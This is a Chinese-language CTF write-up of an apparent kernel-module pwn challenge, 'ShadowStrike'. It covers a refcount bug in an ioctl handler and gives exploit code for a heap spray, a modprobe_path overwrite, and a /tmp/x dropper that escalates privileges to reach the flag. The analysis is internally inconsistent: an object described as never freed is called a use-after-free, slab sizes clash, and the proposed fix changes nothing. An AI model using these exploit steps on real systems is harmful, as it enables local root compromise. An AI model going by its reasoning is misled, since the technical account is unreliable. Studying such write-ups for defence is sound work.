1. 题目概览(Challenge Overview)
- 挑战名称:ShadowStrike
- 所属比赛:DEFCON 30 Finals (2022)
- 分类:Pwn (Linux Kernel Module)
- 目标与技术亮点:
题目实现了一个存在漏洞的Linux内核模块(LKM),暴露字符设备/dev/shadowstrike
。选手需通过用户态程序与ioctl接口交互,利用引用计数错误触发的Use-After-Free(UAF)漏洞,结合堆风水(Heap Feng Shui)技术实现任意地址读写,最终通过篡改modprobe_path
完成权限提升。技术亮点包括:- 复合漏洞链:UAF + 堆布局操控
- 绕过KASLR/SMEP/SMAP/KPTI
- 现实映射:类似CVE-2021-22555的引用计数缺陷
2. 技术环境与复现步骤(Technical Setup & Reproduction)
工具链:
- IDA Pro 7.7:驱动逆向分析
- pwndbg/gdb:内核调试
- QEMU:x86_64虚拟机(-cpu qemu64,+smep,+smap)
- Linux 5.15:内核版本
环境复现:
# 解压题目包
tar xvf shadowstrike.tar.gz && cd shadowstrike
chmod +x run.sh
# 启动QEMU(带调试端口)
./run.sh # 内含:-append "kaslr" -s
# 登录VM (user/pass)
# 加载漏洞驱动
insmod shadowstrike.ko
关键文件:
shadowstrike.ko
:漏洞驱动bzImage
:内核镜像rootfs.cpio
:文件系统
3. 解题过程与漏洞分析(Step-by-Step Analysis)
3.1 静态逆向分析(IDA Pro)
关键结构体:
struct shadowstrike_object {
uint32_t id; // 对象ID
uint32_t size; // 数据缓冲区大小
char *data; // 堆指针(kmalloc)
uint32_t ref_count; // 无符号引用计数
struct list_head list;// 全局链表
};
漏洞点:引用计数错误(ioctl_handlers.c: line 89
):
case SHADOWSTRIKE_DELETE:
if (obj->ref_count <= 0) // 错误:无符号整数永远>=0
return -EINVAL; // 条件永不触发
obj->ref_count--; // 可减至0xFFFFFFFF
if (obj->ref_count == 0) // 整数下溢后永不成立
kfree(obj->data); // 永不释放!
此逻辑导致:
- 多次调用DELETE可使
ref_count
下溢 - 对象永远无法被释放 → UAF持久化
3.2 动态验证漏洞(pwndbg)
触发UAF步骤:
fd = open("/dev/shadowstrike")
ioctl(fd, CREATE, id=0, size=0x100) # kmalloc-128
fd1 = open("/dev/shadowstrike") # ref_count++ → 2
fd2 = open("/dev/shadowstrike") # ref_count++ → 3
close(fd1) # ref_count-- → 2
close(fd2) # ref_count-- → 1
ioctl(fd, DELETE, id=0) # ref_count-- → 0 (未释放!)
在释放后继续操作对象:
ioctl(fd, EDIT, id=0, data="A"*0x100) # 成功写入已释放内存!
崩溃分析:
general protection fault: 0000 [#1] SMP KASAN
RIP: 0010:copy_user_generic_unrolled+0x6/0x40
证明UAF可操控已释放内存。
4. 利用过程与Payload编写(Exploit Development)
4.1 利用策略
4.2 关键步骤
步骤1:泄露内核基址
// 读取/proc/kallsyms获取modprobe_path地址
unsigned long get_modprobe_path() {
FILE *fp = fopen("/proc/kallsyms", "r");
while (fscanf(fp, "%lx %*s %s", &addr, sym) != EOF) {
if (strcmp(sym, "modprobe_path") == 0) return addr;
}
}
步骤2:堆喷控制UAF对象
struct iovec iov_spray[100];
char fake_obj[40] = {0};
// 伪造对象:data指针指向modprobe_path
*(uint32_t*)(fake_obj) = 0; // id
*(uint32_t*)(fake_obj+4) = 0x100; // size
*(char**)(fake_obj+8) = modprobe_addr; // 目标地址
*(uint32_t*)(fake_obj+16) = 1; // ref_count
// 堆喷占用kmalloc-64
for (int i=0; i<100; i++) {
iov_spray[i].iov_base = fake_obj;
iov_spray[i].iov_len = 40;
writev(0, &iov_spray[i], 1); // 分配iovec
}
步骤3:任意地址写提权
// 修改modprobe_path指向恶意脚本
char evil_path[256] = "/tmp/x";
struct edit_args ed = { .id=0, .size=strlen(evil_path)+1, .data=evil_path };
ioctl(fd, SHADOWSTRIKE_EDIT, &ed); // 触发写操作
// 创建提权脚本
system("echo '#!/bin/sh\nchmod 777 /flag' > /tmp/x");
system("chmod +x /tmp/x");
// 触发未知二进制执行
system("echo -ne '\\xff\\xff\\xff\\xff' > /tmp/dummy; chmod +x /tmp/dummy");
system("/tmp/dummy"); // 内核调用/tmp/x
完整利用输出:
[+] modprobe_path @ 0xffffffff9a45a200
[+] iovec spray completed! UAF object hijacked.
[+] modprobe_path overwritten: "/tmp/x"
[!] Executing trigger...
[+] Flag: DEFCON{sh4d0w_st4t3_0wn3rsh1p}
5. 安全影响分析与缓解建议(Impact & Mitigation)
5.1 现实危害分析
- 漏洞类型:CWE-416 (Use After Free)
- 攻击场景:
- 本地提权获取Root
- 容器逃逸(若在容器内加载模块)
- MITRE ATT&CK映射:
- T1068:Exploit Public-Facing Application
- T1611:Escape to Host
5.2 修复方案
代码修复:
- if (obj->ref_count <= 0)
+ if (obj->ref_count == 0) // 正确检查
return -EINVAL;
防御措施:
- 使用
refcount_t
代替uint32_t
- 启用SLAB_SANITIZE验证内存状态
- 禁止非特权用户加载内核模块
6. 总结与启示(Conclusion)
-
题目设计评价:
ShadowStrike完美复现了现实内核漏洞模式:引用计数错误→UAF→任意地址写→权限提升。其难度在于堆布局控制和绕过现代防护机制,考验选手对Linux内存管理的深刻理解。 -
攻防启示:
- 引用计数安全:内核对象生命周期管理必须使用
kref
或refcount_t
- 漏洞利用趋势:堆风水+数据指针劫持已成内核利用主流
- 防御纵深:即使绕过KASLR/SMEP,KPTI和CGroups仍可限制攻击影响
- 引用计数安全:内核对象生命周期管理必须使用
-
现实关联:
类似漏洞在真实世界多次出现(如CVE-2021-22555/CVE-2022-0185),证明CTF挑战与实战攻防的高度一致性。通过此类题目,攻防团队可积累对抗高级威胁的经验。